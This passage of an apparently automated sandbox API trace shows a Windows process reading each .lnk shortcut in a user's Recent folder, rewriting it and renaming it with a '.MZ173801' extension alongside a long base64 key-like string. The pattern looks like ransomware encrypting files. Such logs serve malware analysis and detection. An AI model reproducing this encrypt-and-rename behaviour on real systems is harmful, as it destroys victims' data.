lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x1490, lpOverlapped=0x0) returned 1 [0122.063] CloseHandle (hObject=0x288) returned 1 [0122.070] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SbP7KV5gI4SzAi7Xlom.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sbp7kv5gi4szai7xlom.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\SbP7KV5gI4SzAi7Xlom.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sbp7kv5gi4szai7xlom.lnk.mz173801")) returned 1 [0122.071] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf7c08c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf7c08c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf7c08c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x4aa, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="sH-vD-yiiJWK0oHfML.lnk", cAlternateFileName="SH-VD-~1.LNK")) returned 1 [0122.072] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.072] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.072] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sH-vD-yiiJWK0oHfML.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sh-vd-yiijwk0ohfml.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf7c08c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf7c08c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf7c08c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x4aa)) returned 1 [0122.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.073] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.075] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sH-vD-yiiJWK0oHfML.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sh-vd-yiijwk0ohfml.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.075] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.075] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.075] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x4aa [0122.075] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.075] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x4aa, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x4aa, lpOverlapped=0x0) returned 1 [0122.076] CloseHandle (hObject=0x288) returned 1 [0122.076] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sH-vD-yiiJWK0oHfML.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sh-vd-yiijwk0ohfml.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.078] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x4aa, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x4aa, lpOverlapped=0x0) returned 1 [0122.079] CloseHandle (hObject=0x288) returned 1 [0122.081] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sH-vD-yiiJWK0oHfML.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sh-vd-yiijwk0ohfml.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\sH-vD-yiiJWK0oHfML.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sh-vd-yiijwk0ohfml.lnk.mz173801")) returned 1 [0122.083] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdda4b880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdda4b880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda4b880, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xedf, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="soKgPrwly.lnk", cAlternateFileName="SOKGPR~1.LNK")) returned 1 [0122.083] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.083] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.083] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\soKgPrwly.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sokgprwly.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdda4b880, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdda4b880, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdda4b880, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xedf)) returned 1 [0122.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.085] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.087] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\soKgPrwly.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\sokgprwly.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.087] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.088] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.088] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xedf [0122.088] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.088] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xedf, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xedf, lpOverlapped=0x0) returned 1 